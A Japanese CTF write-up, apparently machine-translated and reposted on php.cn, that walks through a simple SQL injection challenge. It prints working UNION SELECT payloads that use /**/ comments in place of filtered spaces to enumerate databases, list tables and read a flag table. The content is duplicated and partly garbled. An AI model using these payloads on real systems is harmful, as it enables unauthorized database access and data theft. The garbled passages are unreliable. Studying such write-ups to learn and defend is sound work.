ホームページ > データベース > mysql チュートリアル > SQLインジェクションに関連する簡単な例

SQLインジェクションに関連する簡単な例

巴扎黑
リリース: 2017-08-11 15:11:05
オリジナル
2916 人が閲覧しました

いわゆる SQL インジェクションとは、Web フォームの送信に SQL コマンドを挿入したり、ページ リクエストのドメイン名やクエリ文字列を入力したりして、最終的にサーバーをだまして悪意のある SQL コマンドを実行させることです。次に、簡単な SQL インジェクションを共有します。一緒に見てみましょう

いわゆる SQL インジェクションとは、Web フォームの送信に SQL コマンドを挿入したり、ドメイン名やページ リクエストのクエリ文字列を入力したりして、最終的にサーバーを騙すことです。悪意のある SQL オーダーを実行します。具体的には、既存のアプリケーションを使用して、(悪意のある) SQL コマンドをバックエンド データベース エンジンに挿入して実行する機能であり、Web フォームに (悪意のある) SQL ステートメントを入力することで、セキュリティ上の脆弱性のある Web サイト上の情報を取得できます。設計者が意図したとおりに SQL ステートメントを実行するよりも、たとえば、以前の多くの映画やテレビの Web サイトでは、主に WEB フォームを通じてクエリ文字を送信することによって VIP メンバーシップのパスワードが漏洩していました。このようなフォームは SQL インジェクション攻撃に対して特に脆弱です。

それぞれ 1、2、および 3 を入力すると、対応する結果が表示されます

' を使用するとエラーが報告されるため、

よく使用される SQL ステートメントを構築します: 1' および '1'='1

応答がありません 試してみてください 1' と '1'='2 を試してください

まだ応答がありません、ツールチップ、何かをフィルタリングしているはずです、SQL ステートメントを変更してみてください

1and1=1

スペースがフィルタリングされていると判断した後、/**/ スペースを置換するには 1'/* を試してください*/'1'='1

結果が見つかりました:

そこで SQL ステートメントを作成しました:

どのデータベースがあるかを判断します:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー

結果を確認できます:

どのようなデータがあるかを確認しますテーブルは次のとおりです:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー

flag テーブルが見つかりました。これは web1 データベースにあるはずで、フィールドは flag (実際にはこのページのデータベース内にあるはずです) です

つまり:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー

私も多くの偉い人のwpを参考にしましたので、書いた後に間違いを指摘していただければ幸いです。

ページのプロンプトによると、具体的には何がフィルタリングされていますか?何がフィルタリングされているかを知ることができます...

それぞれ 1、2、および 3 を入力すると、対応する結果が表示されます

' を使用するとエラーが報告されるため、

よく使用される SQL ステートメントを構築します: 1' と'1'='1

応答なし 試してみてください 1' と '1'='2

まだ応答がありません、ツールチップ、何かをフィルタリングしているはずです、SQL ステートメントを変更してみてください

1and1=1

は、スペースがフィルタリングされているかどうかを判断するには、 /* を使用します。*/そして/**&#&*&#&*/'1'='1

を使用して結果を見つけます:

それで SQL ステートメントを構築します:

どのデータベースが存在するかを確認します:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー

結果を確認できます:


どのようなデータテーブルが存在するかを確認します:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー


が見つかりましたフラグテーブル、これはあるはずだと思います web1 データベースでは、フィールドは flag です (実際にはこのページのデータベース内にあります)

つまり:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
ログイン後にコピー
ログイン後にコピー


以上がSQLインジェクションに関連する簡単な例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート